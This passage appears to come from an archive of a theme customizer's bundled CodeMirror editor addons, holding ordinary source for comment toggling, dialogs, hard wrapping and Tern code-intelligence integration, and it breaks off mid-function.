        if (lead != null) for (var i = from.line + 1; i <= end; ++i)
          if (i != end || lastLineHasText)
            self.replaceRange(lead + pad, Pos(i, 0));
      } else {
        self.replaceRange(endString, to);
        self.replaceRange(startString, from);
      }
    });
  });

  CodeMirror.defineExtension("uncomment", function(from, to, options) {
    if (!options) options = noOptions;
    var self = this, mode = self.getModeAt(from);
    var end = Math.min(to.ch != 0 || to.line == from.line ? to.line : to.line - 1, self.lastLine()), start = Math.min(from.line, end);

    // Try finding line comments
    var lineString = options.lineComment || mode.lineComment, lines = [];
    var pad = options.padding == null ? " " : options.padding, didSomething;
    lineComment: {
      if (!lineString) break lineComment;
      for (var i = start; i <= end; ++i) {
        var line = self.getLine(i);
        var found = line.indexOf(lineString);
        if (found > -1 && !/comment/.test(self.getTokenTypeAt(Pos(i, found + 1)))) found = -1;
        if (found == -1 && (i != end || i == start) && nonWS.test(line)) break lineComment;
        if (found > -1 && nonWS.test(line.slice(0, found))) break lineComment;
        lines.push(line);
      }
      self.operation(function() {
        for (var i = start; i <= end; ++i) {
          var line = lines[i - start];
          var pos = line.indexOf(lineString), endPos = pos + lineString.length;
          if (pos < 0) continue;
          if (line.slice(endPos, endPos + pad.length) == pad) endPos += pad.length;
          didSomething = true;
          self.replaceRange("", Pos(i, pos), Pos(i, endPos));
        }
      });
      if (didSomething) return true;
    }

    // Try block comments
    var startString = options.blockCommentStart || mode.blockCommentStart;
    var endString = options.blockCommentEnd || mode.blockCommentEnd;
    if (!startString || !endString) return false;
    var lead = options.blockCommentLead || mode.blockCommentLead;
    var startLine = self.getLine(start), endLine = end == start ? startLine : self.getLine(end);
    var open = startLine.indexOf(startString), close = endLine.lastIndexOf(endString);
    if (close == -1 && start != end) {
      endLine = self.getLine(--end);
      close = endLine.lastIndexOf(endString);
    }
    if (open == -1 || close == -1 ||
        !/comment/.test(self.getTokenTypeAt(Pos(start, open + 1))) ||
        !/comment/.test(self.getTokenTypeAt(Pos(end, close + 1))))
      return false;

    // Avoid killing block comments completely outside the selection.
    // Positions of the last startString before the start of the selection, and the first endString after it.
    var lastStart = startLine.lastIndexOf(startString, from.ch);
    var firstEnd = lastStart == -1 ? -1 : startLine.slice(0, from.ch).indexOf(endString, lastStart + startString.length);
    if (lastStart != -1 && firstEnd != -1 && firstEnd + endString.length != from.ch) return false;
    // Positions of the first endString after the end of the selection, and the last startString before it.
    firstEnd = endLine.indexOf(endString, to.ch);
    var almostLastStart = endLine.slice(to.ch).lastIndexOf(startString, firstEnd - to.ch);
    lastStart = (firstEnd == -1 || almostLastStart == -1) ? -1 : to.ch + almostLastStart;
    if (firstEnd != -1 && lastStart != -1 && lastStart != to.ch) return false;

    self.operation(function() {
      self.replaceRange("", Pos(end, close - (pad && endLine.slice(close - pad.length, close) == pad ? pad.length : 0)),
                        Pos(end, close + endString.length));
      var openEnd = open + startString.length;
      if (pad && startLine.slice(openEnd, openEnd + pad.length) == pad) openEnd += pad.length;
      self.replaceRange("", Pos(start, open), Pos(start, openEnd));
      if (lead) for (var i = start + 1; i <= end; ++i) {
        var line = self.getLine(i), found = line.indexOf(lead);
        if (found == -1 || nonWS.test(line.slice(0, found))) continue;
        var foundEnd = found + lead.length;
        if (pad && line.slice(foundEnd, foundEnd + pad.length) == pad) foundEnd += pad.length;
        self.replaceRange("", Pos(i, found), Pos(i, foundEnd));
      }
    });
    return true;
  });
});
PK     0w\&EJ  J  G  customizer/framework/assets/js/vendor/codemirror/addon/dialog/dialog.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Open simple dialogs on top of an editor. Relies on dialog.css.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  function dialogDiv(cm, template, bottom) {
    var wrap = cm.getWrapperElement();
    var dialog;
    dialog = wrap.appendChild(document.createElement("div"));
    if (bottom)
      dialog.className = "CodeMirror-dialog CodeMirror-dialog-bottom";
    else
      dialog.className = "CodeMirror-dialog CodeMirror-dialog-top";

    if (typeof template == "string") {
      dialog.innerHTML = template;
    } else { // Assuming it's a detached DOM element.
      dialog.appendChild(template);
    }
    return dialog;
  }

  function closeNotification(cm, newVal) {
    if (cm.state.currentNotificationClose)
      cm.state.currentNotificationClose();
    cm.state.currentNotificationClose = newVal;
  }

  CodeMirror.defineExtension("openDialog", function(template, callback, options) {
    if (!options) options = {};

    closeNotification(this, null);

    var dialog = dialogDiv(this, template, options.bottom);
    var closed = false, me = this;
    function close(newVal) {
      if (typeof newVal == 'string') {
        inp.value = newVal;
      } else {
        if (closed) return;
        closed = true;
        dialog.parentNode.removeChild(dialog);
        me.focus();

        if (options.onClose) options.onClose(dialog);
      }
    }

    var inp = dialog.getElementsByTagName("input")[0], button;
    if (inp) {
      if (options.value) {
        inp.value = options.value;
        if (options.selectValueOnOpen !== false) {
          inp.select();
        }
      }

      if (options.onInput)
        CodeMirror.on(inp, "input", function(e) { options.onInput(e, inp.value, close);});
      if (options.onKeyUp)
        CodeMirror.on(inp, "keyup", function(e) {options.onKeyUp(e, inp.value, close);});

      CodeMirror.on(inp, "keydown", function(e) {
        if (options && options.onKeyDown && options.onKeyDown(e, inp.value, close)) { return; }
        if (e.keyCode == 27 || (options.closeOnEnter !== false && e.keyCode == 13)) {
          inp.blur();
          CodeMirror.e_stop(e);
          close();
        }
        if (e.keyCode == 13) callback(inp.value, e);
      });

      if (options.closeOnBlur !== false) CodeMirror.on(inp, "blur", close);

      inp.focus();
    } else if (button = dialog.getElementsByTagName("button")[0]) {
      CodeMirror.on(button, "click", function() {
        close();
        me.focus();
      });

      if (options.closeOnBlur !== false) CodeMirror.on(button, "blur", close);

      button.focus();
    }
    return close;
  });

  CodeMirror.defineExtension("openConfirm", function(template, callbacks, options) {
    closeNotification(this, null);
    var dialog = dialogDiv(this, template, options && options.bottom);
    var buttons = dialog.getElementsByTagName("button");
    var closed = false, me = this, blurring = 1;
    function close() {
      if (closed) return;
      closed = true;
      dialog.parentNode.removeChild(dialog);
      me.focus();
    }
    buttons[0].focus();
    for (var i = 0; i < buttons.length; ++i) {
      var b = buttons[i];
      (function(callback) {
        CodeMirror.on(b, "click", function(e) {
          CodeMirror.e_preventDefault(e);
          close();
          if (callback) callback(me);
        });
      })(callbacks[i]);
      CodeMirror.on(b, "blur", function() {
        --blurring;
        setTimeout(function() { if (blurring <= 0) close(); }, 200);
      });
      CodeMirror.on(b, "focus", function() { ++blurring; });
    }
  });

  /*
   * openNotification
   * Opens a notification, that can be closed with an optional timer
   * (default 5000ms timer) and always closes on click.
   *
   * If a notification is opened while another is opened, it will close the
   * currently opened one and open the new one immediately.
   */
  CodeMirror.defineExtension("openNotification", function(template, options) {
    closeNotification(this, close);
    var dialog = dialogDiv(this, template, options && options.bottom);
    var closed = false, doneTimer;
    var duration = options && typeof options.duration !== "undefined" ? options.duration : 5000;

    function close() {
      if (closed) return;
      closed = true;
      clearTimeout(doneTimer);
      dialog.parentNode.removeChild(dialog);
    }

    CodeMirror.on(dialog, 'click', function(e) {
      CodeMirror.e_preventDefault(e);
      close();
    });

    if (duration)
      doneTimer = setTimeout(close, duration);

    return close;
  });
});
PK     0w\H[    H  customizer/framework/assets/js/vendor/codemirror/addon/dialog/dialog.cssnu [        .CodeMirror-dialog {
  position: absolute;
  left: 0; right: 0;
  background: inherit;
  z-index: 15;
  padding: .1em .8em;
  overflow: hidden;
  color: inherit;
}

.CodeMirror-dialog-top {
  border-bottom: 1px solid #eee;
  top: 0;
}

.CodeMirror-dialog-bottom {
  border-top: 1px solid #eee;
  bottom: 0;
}

.CodeMirror-dialog input {
  border: none;
  outline: none;
  background: transparent;
  width: 20em;
  color: inherit;
  font-family: monospace;
}

.CodeMirror-dialog button {
  font-size: 70%;
}
PK     0w\l&  &  G  customizer/framework/assets/js/vendor/codemirror/addon/wrap/hardwrap.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;

  function findParagraph(cm, pos, options) {
    var startRE = options.paragraphStart || cm.getHelper(pos, "paragraphStart");
    for (var start = pos.line, first = cm.firstLine(); start > first; --start) {
      var line = cm.getLine(start);
      if (startRE && startRE.test(line)) break;
      if (!/\S/.test(line)) { ++start; break; }
    }
    var endRE = options.paragraphEnd || cm.getHelper(pos, "paragraphEnd");
    for (var end = pos.line + 1, last = cm.lastLine(); end <= last; ++end) {
      var line = cm.getLine(end);
      if (endRE && endRE.test(line)) { ++end; break; }
      if (!/\S/.test(line)) break;
    }
    return {from: start, to: end};
  }

  function findBreakPoint(text, column, wrapOn, killTrailingSpace) {
    for (var at = column; at > 0; --at)
      if (wrapOn.test(text.slice(at - 1, at + 1))) break;
    for (var first = true;; first = false) {
      var endOfText = at;
      if (killTrailingSpace)
        while (text.charAt(endOfText - 1) == " ") --endOfText;
      if (endOfText == 0 && first) at = column;
      else return {from: endOfText, to: at};
    }
  }

  function wrapRange(cm, from, to, options) {
    from = cm.clipPos(from); to = cm.clipPos(to);
    var column = options.column || 80;
    var wrapOn = options.wrapOn || /\s\S|-[^\.\d]/;
    var killTrailing = options.killTrailingSpace !== false;
    var changes = [], curLine = "", curNo = from.line;
    var lines = cm.getRange(from, to, false);
    if (!lines.length) return null;
    var leadingSpace = lines[0].match(/^[ \t]*/)[0];

    for (var i = 0; i < lines.length; ++i) {
      var text = lines[i], oldLen = curLine.length, spaceInserted = 0;
      if (curLine && text && !wrapOn.test(curLine.charAt(curLine.length - 1) + text.charAt(0))) {
        curLine += " ";
        spaceInserted = 1;
      }
      var spaceTrimmed = "";
      if (i) {
        spaceTrimmed = text.match(/^\s*/)[0];
        text = text.slice(spaceTrimmed.length);
      }
      curLine += text;
      if (i) {
        var firstBreak = curLine.length > column && leadingSpace == spaceTrimmed &&
          findBreakPoint(curLine, column, wrapOn, killTrailing);
        // If this isn't broken, or is broken at a different point, remove old break
        if (!firstBreak || firstBreak.from != oldLen || firstBreak.to != oldLen + spaceInserted) {
          changes.push({text: [spaceInserted ? " " : ""],
                        from: Pos(curNo, oldLen),
                        to: Pos(curNo + 1, spaceTrimmed.length)});
        } else {
          curLine = leadingSpace + text;
          ++curNo;
        }
      }
      while (curLine.length > column) {
        var bp = findBreakPoint(curLine, column, wrapOn, killTrailing);
        changes.push({text: ["", leadingSpace],
                      from: Pos(curNo, bp.from),
                      to: Pos(curNo, bp.to)});
        curLine = leadingSpace + curLine.slice(bp.to);
        ++curNo;
      }
    }
    if (changes.length) cm.operation(function() {
      for (var i = 0; i < changes.length; ++i) {
        var change = changes[i];
        if (change.text || CodeMirror.cmpPos(change.from, change.to))
          cm.replaceRange(change.text, change.from, change.to);
      }
    });
    return changes.length ? {from: changes[0].from, to: CodeMirror.changeEnd(changes[changes.length - 1])} : null;
  }

  CodeMirror.defineExtension("wrapParagraph", function(pos, options) {
    options = options || {};
    if (!pos) pos = this.getCursor();
    var para = findParagraph(this, pos, options);
    return wrapRange(this, Pos(para.from, 0), Pos(para.to - 1), options);
  });

  CodeMirror.commands.wrapLines = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections(), at = cm.lastLine() + 1;
      for (var i = ranges.length - 1; i >= 0; i--) {
        var range = ranges[i], span;
        if (range.empty()) {
          var para = findParagraph(cm, range.head, {});
          span = {from: Pos(para.from, 0), to: Pos(para.to - 1)};
        } else {
          span = {from: range.from(), to: range.to()};
        }
        if (span.to.line >= at) continue;
        at = span.from.line;
        wrapRange(cm, span.from, span.to, {});
      }
    });
  };

  CodeMirror.defineExtension("wrapRange", function(from, to, options) {
    return wrapRange(this, from, to, options || {});
  });

  CodeMirror.defineExtension("wrapParagraphsInRange", function(from, to, options) {
    options = options || {};
    var cm = this, paras = [];
    for (var line = from.line; line <= to.line;) {
      var para = findParagraph(cm, Pos(line, 0), options);
      paras.push(para);
      line = para.to;
    }
    var madeChange = false;
    if (paras.length) cm.operation(function() {
      for (var i = paras.length - 1; i >= 0; --i)
        madeChange = madeChange || wrapRange(cm, Pos(paras[i].from, 0), Pos(paras[i].to - 1), options);
    });
    return madeChange;
  });
});
PK     0w\qu_  _  C  customizer/framework/assets/js/vendor/codemirror/addon/tern/tern.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Glue code between CodeMirror and Tern.
//
// Create a CodeMirror.TernServer to wrap an actual Tern server,
// register open documents (CodeMirror.Doc instances) with it, and
// call its methods to activate the assisting functions that Tern
// provides.
//
// Options supported (all optional):
// * defs: An array of JSON definition data structures.
// * plugins: An object mapping plugin names to configuration
//   options.
// * getFile: A function(name, c) that can be used to access files in
//   the project that haven't been loaded yet. Simply do c(null) to
//   indicate that a file is not available.
// * fileFilter: A function(value, docName, doc) that will be applied
//   to documents before passing them on to Tern.
// * switchToDoc: A function(name, doc) that should, when providing a
//   multi-file view, switch the view or focus to the named file.
// * showError: A function(editor, message) that can be used to
//   override the way errors are displayed.
// * completionTip: Customize the content in tooltips for completions.
//   Is passed a single argument—the completion's data as returned by
//   Tern—and may return a string, DOM node, or null to indicate that
//   no tip should be shown. By default the docstring is shown.
// * typeTip: Like completionTip, but for the tooltips shown for type
//   queries.
// * responseFilter: A function(doc, query, request, error, data) that
//   will be applied to the Tern responses before treating them
//
//
// It is possible to run the Tern server in a web worker by specifying
// these additional options:
// * useWorker: Set to true to enable web worker mode. You'll probably
//   want to feature detect the actual value you use here, for example
//   !!window.Worker.
// * workerScript: The main script of the worker. Point this to
//   wherever you are hosting worker.js from this directory.
// * workerDeps: An array of paths pointing (relative to workerScript)
//   to the Acorn and Tern libraries and any Tern plugins you want to
//   load. Or, if you minified those into a single script and included
//   them in the workerScript, simply leave this undefined.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  // declare global: tern

  CodeMirror.TernServer = function(options) {
    var self = this;
    this.options = options || {};
    var plugins = this.options.plugins || (this.options.plugins = {});
    if (!plugins.doc_comment) plugins.doc_comment = true;
    this.docs = Object.create(null);
    if (this.options.useWorker) {
      this.server = new WorkerServer(this);
    } else {
      this.server = new tern.Server({
        getFile: function(name, c) { return getFile(self, name, c); },
        async: true,
        defs: this.options.defs || [],
        plugins: plugins
      });
    }
    this.trackChange = function(doc, change) { trackChange(self, doc, change); };

    this.cachedArgHints = null;
    this.activeArgHints = null;
    this.jumpStack = [];

    this.getHint = function(cm, c) { return hint(self, cm, c); };
    this.getHint.async = true;
  };

  CodeMirror.TernServer.prototype = {
    addDoc: function(name, doc) {
      var data = {doc: doc, name: name, changed: null};
      this.server.addFile(name, docValue(this, data));
      CodeMirror.on(doc, "change", this.trackChange);
      return this.docs[name] = data;
    },

    delDoc: function(id) {
      var found = resolveDoc(this, id);
      if (!found) return;
      CodeMirror.off(found.doc, "change", this.trackChange);
      delete this.docs[found.name];
      this.server.delFile(found.name);
    },

    hideDoc: function(id) {
      closeArgHints(this);
      var found = resolveDoc(this, id);
      if (found && found.changed) sendDoc(this, found);
    },

    complete: function(cm) {
      cm.showHint({hint: this.getHint});
    },

    showType: function(cm, pos, c) { showContextInfo(this, cm, pos, "type", c); },

    showDocs: function(cm, pos, c) { showContextInfo(this, cm, pos, "documentation", c); },

    updateArgHints: function(cm) { updateArgHints(this, cm); },

    jumpToDef: function(cm) { jumpToDef(this, cm); },

    jumpBack: function(cm) { jumpBack(this, cm); },

    rename: function(cm) { rename(this, cm); },

    selectName: function(cm) { selectName(this, cm); },

    request: function (cm, query, c, pos) {
      var self = this;
      var doc = findDoc(this, cm.getDoc());
      var request = buildRequest(this, doc, query, pos);
      var extraOptions = request.query && this.options.queryOptions && this.options.queryOptions[request.query.type]
      if (extraOptions) for (var prop in extraOptions) request.query[prop] = extraOptions[prop];

      this.server.request(request, function (error, data) {
        if (!error && self.options.responseFilter)
          data = self.options.responseFilter(doc, query, request, error, data);
        c(error, data);
      });
    },

    destroy: function () {
      closeArgHints(this)
      if (this.worker) {
        this.worker.terminate();
        this.worker = null;
      }
    }
  };

  var Pos = CodeMirror.Pos;
  var cls = "CodeMirror-Tern-";
  var bigDoc = 250;

  function getFile(ts, name, c) {
    var buf = ts.docs[name];
    if (buf)
      c(docValue(ts, buf));
    else if (ts.options.getFile)
      ts.options.getFile(name, c);
    else
      c(null);
  }

  function findDoc(ts, doc, name) {
    for (var n in ts.docs) {
      var cur = ts.docs[n];
      if (cur.doc == doc) return cur;
    }
    if (!name) for (var i = 0;; ++i) {
      n = "[doc" + (i || "") + "]";
      if (!ts.docs[n]) { name = n; break; }
    }
    return ts.addDoc(name, doc);
  }

  function resolveDoc(ts, id) {
    if (typeof id == "string") return ts.docs[id];
    if (id instanceof CodeMirror) id = id.getDoc();
    if (id instanceof CodeMirror.Doc) return findDoc(ts, id);
  }

  function trackChange(ts, doc, change) {
    var data = findDoc(ts, doc);

    var argHints = ts.cachedArgHints;
    if (argHints && argHints.doc == doc && cmpPos(argHints.start, change.to) <= 0)
      ts.cachedArgHints = null;

    var changed = data.changed;
    if (changed == null)
      data.changed = changed = {from: change.from.line, to: change.from.line};
    var end = change.from.line + (change.text.length - 1);
    if (change.from.line < changed.to) changed.to = changed.to - (change.to.line - end);
    if (end >= changed.to) changed.to = end + 1;
    if (changed.from > change.from.line) changed.from = change.from.line;

    if (doc.lineCount() > bigDoc && change.to - changed.from > 100) setTimeout(function() {
      if (data.changed && data.changed.to - data.changed.from > 100) sendDoc(ts, data);
    }, 200);
  }

  function sendDoc(ts, doc) {
    ts.server.request({files: [{type: "full", name: doc.name, text: docValue(ts, doc)}]}, function(error) {
      if (error) window.console.error(error);
      else doc.changed = null;
    });
  }

  // Completion

  function hint(ts, cm, c) {
    ts.request(cm, {type: "completions", types: true, docs: true, urls: true}, function(error, data) {
      if (error) return showError(ts, cm, error);
      var completions = [], after = "";
      var from = data.start, to = data.end;
      if (cm.getRange(Pos(from.line, from.ch - 2), from) == "[\"" &&
          cm.getRange(to, Pos(to.line, to.ch + 2)) != "\"]")
        after = "\"]";

      for (var i = 0; i < data.completions.length; ++i) {
        var completion = data.completions[i], className = typeToIcon(completion.type);
        if (data.guess) className += " " + cls + "guess";
        completions.push({text: completion.name + after,
                          displayText: completion.displayName || completion.name,
                          className: className,
                          data: completion});
      }

      var obj = {from: from, to: to, list: completions};
      var tooltip = null;
      CodeMirror.on(obj, "close", function() { remove(tooltip); });
      CodeMirror.on(obj, "update", function() { remove(tooltip); });
      CodeMirror.on(obj, "select", function(cur, node) {
        remove(tooltip);
        var content = ts.options.completionTip ? ts.options.completionTip(cur.data) : cur.data.doc;
        if (content) {
          tooltip = makeTooltip(node.parentNode.getBoundingClientRect().right + window.pageXOffset,
                                node.getBoundingClientRect().top + window.pageYOffset, content);
          tooltip.className += " " + cls + "hint-doc";
        }
      });
      c(obj);
    });
  }

  function typeToIcon(type) {
    var suffix;
    if (type == "?") suffix = "unknown";
    else if (type == "number" || type == "string" || type == "bool") suffix = type;
    else if (/^fn\(/.test(type)) suffix = "fn";
    else if (/^\[/.test(type)) suffix = "array";
    else suffix = "object";
    return cls + "completion " + cls + "completion-" + suffix;
  }

  // Type queries

  function showContextInfo(ts, cm, pos, queryName, c) {
    ts.request(cm, queryName, function(error, data) {
      if (error) return showError(ts, cm, error);
      if (ts.options.typeTip) {
        var tip = ts.options.typeTip(data);
      } else {
        var tip = elt("span", null, elt("strong", null, data.type || "not found"));
        if (data.doc)
          tip.appendChild(document.createTextNode(" — " + data.doc));
        if (data.url) {
          tip.appendChild(document.createTextNode(" "));
          var child = tip.appendChild(elt("a", null, "[docs]"));
          child.href = data.url;
          child.target = "_blank";
        }
      }
      tempTooltip(cm, tip, ts);
      if (c) c();
    }, pos);
  }

  // Maintaining argument hints

  function updateArgHints(ts, cm) {
    closeArgHints(ts);

    if (cm.somethingSelected()) return;
    var state = cm.getTokenAt(cm.getCursor()).state;
    var inner = CodeMirror.innerMode(cm.getMode(), state);
    if (inner.mode.name != "javascript") return;
    var lex = inner.state.lexical;
    if (lex.info != "call") return;

    var ch, argPos = lex.pos || 0, tabSize = cm.getOption("tabSize");
    for (var line = cm.getCursor().line, e = Math.max(0, line - 9), found = false; line >= e; --line) {
      var str = cm.getLine(line), extra = 0;
      for (var pos = 0;;) {
        var tab = str.indexOf("\t", pos);
        if (tab == -1) break;
        extra += tabSize - (tab + extra) % tabSize - 1;
        pos = tab + 1;
      }
      ch = lex.column - extra;
      if (str.charAt(ch) == "(") {found = true; break;}
    }
    if (!found) return;

    var start = Pos(line, ch);
    var cache = ts.cachedArgHints;
    if (cache && cache.doc == cm.getDoc() && cmpPos(start, cache.start) == 0)
      return showArgHints(ts, cm, argPos);

    ts.request(cm, {type: "type", preferFunction: true, end: start}, function(error, data) {
      if (error || !data.type || !(/^fn\(/).test(data.type)) return;
      ts.cachedArgHints = {
        start: pos,
        type: parseFnType(data.type),
        name: data.exprName || data.name || "fn",
        guess: data.guess,
        doc: cm.getDoc()
      };
      showArgHints(ts, cm, argPos);
    });
  }

  function showArgHints(ts, cm, pos) {
    closeArgHints(ts);

    var cache = ts.cachedArgHints, tp = cache.type;
    var tip = elt("span", cache.guess ? cls + "fhint-guess" : null,
                  elt("span", cls + "fname", cache.name), "(");
    for (var i = 0; i < tp.args.length; ++i) {
      if (i) tip.appendChild(document.createTextNode(", "));
      var arg = tp.args[i];
      tip.appendChild(elt("span", cls + "farg" + (i == pos ? " " + cls + "farg-current" : ""), arg.name || "?"));
      if (arg.type != "?") {
        tip.appendChild(document.createTextNode(":\u00a0"));
        tip.appendChild(elt("span", cls + "type", arg.type));
      }
    }
    tip.appendChild(document.createTextNode(tp.rettype ? ") ->\u00a0" : ")"));
    if (tp.rettype) tip.appendChild(elt("span", cls + "type", tp.rettype));
    var place = cm.cursorCoords(null, "page");
    ts.activeArgHints = makeTooltip(place.right + 1, place.bottom, tip);
  }

  function parseFnType(text) {
    var args = [], pos = 3;

    function skipMatching(upto) {
      var depth = 0, start = pos;
      for (;;) {
        var next = text.charAt(pos);
        if (upto.test(next) && !depth) return text.slice(start, pos);
        if (/[{\[\(]/.test(next)) ++depth;
        else if (/[}\]\)]/.test(next)) --depth;
        ++pos;
      }
    }

    // Parse arguments
    if (text.charAt(pos) != ")") for (;;) {
      var name = text.slice(pos).match(/^([^, \(\[\{]+): /);
      if (name) {
        pos += name[0].length;
        name = name[1];
      }
      args.push({name: name, type: skipMatching(/[\),]/)});
      if (text.charAt(pos) == ")") break;
      pos += 2;
    }

    var rettype = text.slice(pos).match(/^\) -> (.*)$/);

    return {args: args, rettype: rettype && rettype[1]};
  }

  // Moving to the definition of something

  function jumpToDef(ts, cm) {
    function inner(varName) {
      var req = {type: "definition", variable: varName || null};
      var doc = findDoc(ts, cm.getDoc());
      ts.server.request(buildRequest(ts, doc, req), function(error, data) {
        if (error) return showError(ts, cm, error);
        if (!data.file && data.url) { window.open(data.url); return; }

        if (data.file) {
          var localDoc = ts.docs[data.file], found;
          if (localDoc && (found = findContext(localDoc.doc, data))) {
            ts.jumpStack.push({file: doc.name,
                               start: cm.getCursor("from"),
                               end: cm.getCursor("to")});
            moveTo(ts, doc, localDoc, found.start, found.end);
            return;
          }
        }
        showError(ts, cm, "Could not find a definition.");
      });
    }

    if (!atInterestingExpression(cm))
      dialog(cm, "Jump to variable", function(name) { if (name) inner(name); });
    else
      inner();
  }

  function jumpBack(ts, cm) {
    var pos = ts.jumpStack.pop(), doc = pos && ts.docs[pos.file];
    if (!doc) return;
    moveTo(ts, findDoc(ts, cm.getDoc()), doc, pos.start, pos.end);
  }

  function moveTo(ts, curDoc, doc, start, end) {
    doc.doc.setSelection(start, end);
    if (curDoc != doc && ts.options.switchToDoc) {
      closeArgHints(ts);
      ts.options.switchToDoc(doc.name, doc.doc);
    }
  }

  // The {line,ch} representation of positions makes this rather awkward.
  function findContext(doc, data) {
    var before = data.context.slice(0, data.contextOffset).split("\n");
    var startLine = data.start.line - (before.length - 1);
    var start = Pos(startLine, (before.length == 1 ? data.start.ch : doc.getLine(startLine).length) - before[0].length);

    var text = doc.getLine(startLine).slice(start.ch);
    for (var cur = startLine + 1; cur < doc.lineCount() && text.length < data.context.length; ++cur)
      text += "\n" + doc.getLine(cur);
    if (text.slice(0, data.context.length) == data.context) return data;

    var cursor = doc.getSearchCursor(data.context, 0, false);
    var nearest, nearestDist = Infinity;
    while (cursor.findNext()) {
      var from = cursor.from(), dist = Math.abs(from.line - start.line) * 10000;
      if (!dist) dist = Math.abs(from.ch - start.ch);
      if (dist < nearestDist) { nearest = from; nearestDist = dist; }
    }
    if (!nearest) return null;

    if (before.length == 1)
      nearest.ch += before[0].length;
    else
      nearest = Pos(nearest.line + (before.length - 1), before[before.length - 1].length);
    if (data.start.line == data.end.line)
      var end = Pos(nearest.line, nearest.ch + (data.end.ch - data.start.ch));
    else
      var end = Pos(nearest.line + (data.end.line - data.start.line), data.end.ch);
    return {start: nearest, end: end};
  }

  function atInterestingExpression(cm) {
    var pos = cm.getCursor("end"), tok = cm.getTokenAt(pos);
    if (tok.start < pos.ch && tok.type == "comment") return false;
    return /[\w)\]]/.test(cm.getLine(pos.line).slice(Math.max(pos.ch - 1, 0), pos.ch + 1));
  }

  // Variable renaming

  function rename(ts, cm) {
    var token = cm.getTokenAt(cm.getCursor());
    if (!/\w/.test(token.string)) return showError(ts, cm, "Not at a variable");
    dialog(cm, "New name for " + token.string, function(newName) {
      ts.request(cm, {type: "rename", newName: newName, fullDocs: true}, function(error, data) {
        if (error) return showError(ts, cm, error);
        applyChanges(ts, data.changes);
      });
    });
  }

  function selectName(ts, cm) {
    var name = findDoc(ts, cm.doc).name;
    ts.request(cm, {type: "refs"}, function(error, data) {
      if (error) return showError(ts, cm, error);
      var ranges = [], cur = 0;
      var curPos = cm.getCursor();
      for (var i = 0; i < data.refs.length; i++) {
        var ref = data.refs[i];
        if (ref.file == name) {
          ranges.push({anchor: ref.start, head: ref.end});
          if (cmpPos(curPos, ref.start) >= 0 && cmpPos(curPos, ref.end) <= 0)
            cur = ranges.length - 1;
        }
      }
      cm.setSelections(ranges, cur);
    });
  }

  var nextChangeOrig = 0;
  function applyChanges(ts, changes) {
    var perFile = Object.create(null);
    for (var i = 0; i < changes.length; ++i) {
      var ch = changes[i];
      (perFile[ch.file] || (perFile[ch.file] = [])).push(ch);
    }
    for (var file in perFile) {
      var known = ts.docs[file], chs = perFile[file];;
      if (!known) continue;
      chs.sort(function(a, b) { return cmpPos(b.start, a.start); });
      var origin = "*rename" + (++nextChangeOrig);
      for (var i = 0; i < chs.length; ++i) {
        var ch = chs[i];
        known.doc.replaceRange(ch.text, ch.start, ch.end, origin);
      }
    }
  }

  // Generic request-building helper

  function buildRequest(ts, doc, query, pos) {
    var files = [], offsetLines = 0, allowFragments = !query.fullDocs;
    if (!allowFragments) delete query.fullDocs;
    if (typeof query == "string") query = {type: query};
    query.lineCharPositions = true;
    if (query.end == null) {
      query.end = pos || doc.doc.getCursor("end");
      if (doc.doc.somethingSelected())
        query.start = doc.doc.getCursor("start");
    }
    var startPos = query.start || query.end;

    if (doc.changed) {
      if (doc.doc.lineCount() > bigDoc && allowFragments !== false &&
          doc.changed.to - doc.changed.from < 100 &&
          doc.changed.from <= startPos.line && doc.changed.to > query.end.line) {
        files.push(getFragmentAround(doc, startPos, query.end));
        query.file = "#0";
        var offsetLines = files[0].offsetLines;
        if (query.start != null) query.start = Pos(query.start.line - -offsetLines, query.start.ch);
        query.end = Pos(query.end.line - offsetLines, query.end.ch);
      } else {
        files.push({type: "full",
                    name: doc.name,
                    text: docValue(ts, doc)});
        query.file = doc.name;
        doc.changed = null;
      }
    } else {
      query.file = doc.name;
    }
    for (var name in ts.docs) {
      var cur = ts.docs[name];
      if (cur.changed && cur != doc) {
        files.push({type: "full", name: cur.name, text: docValue(ts, cur)});
        cur.changed = null;
      }
    }

    return {query: query, files: files};
  }

  function getFragmentAround(data, start, end) {
    var doc = data.doc;
    var minIndent = null, minLine = null, endLine, tabSize = 4;
    for (var p = start.line - 1, min = Math.max(0, p - 50); p >= min; --p) {
      var line = doc.getLine(p), fn = line.search(/\bfunction\b/);
      if (fn < 0) continue;
      var indent = CodeMirror.countColumn(line, null, tabSize);
      if (minIndent != null && minIndent <= indent) continue;
      minIndent = indent;
      minLine = p;
    }
    if (minLine == null) minLine = min;
    var max = Math.min(doc.lastLine(), end.line + 20);
    if (minIndent == null || minIndent == CodeMirror.countColumn(doc.getLine(start.line), null, tabSize))
      endLine = max;
    else for (endLine = end.line + 1; endLine < max; ++endLine) {
      var indent = CodeMirror.countColumn(doc.getLine(endLine), null, tabSize);
      if (indent <= minIndent) break;
    }
    var from = Pos(minLine, 0);

    return {type: "part",
            name: data.name,
            offsetLines: from.line,
            text: doc.getRange(from, Pos(endLine, 0))};
  }

  // Generic utilities

  var cmpPos = CodeMirror.cmpPos;

  function elt(tagname, cls /*, ... elts*/) {
    var e = document.createElement(tagname);
    if (cls) e.className = cls;
    for (var i = 2; i < arguments.length; ++i) {
      var elt = arguments[i];
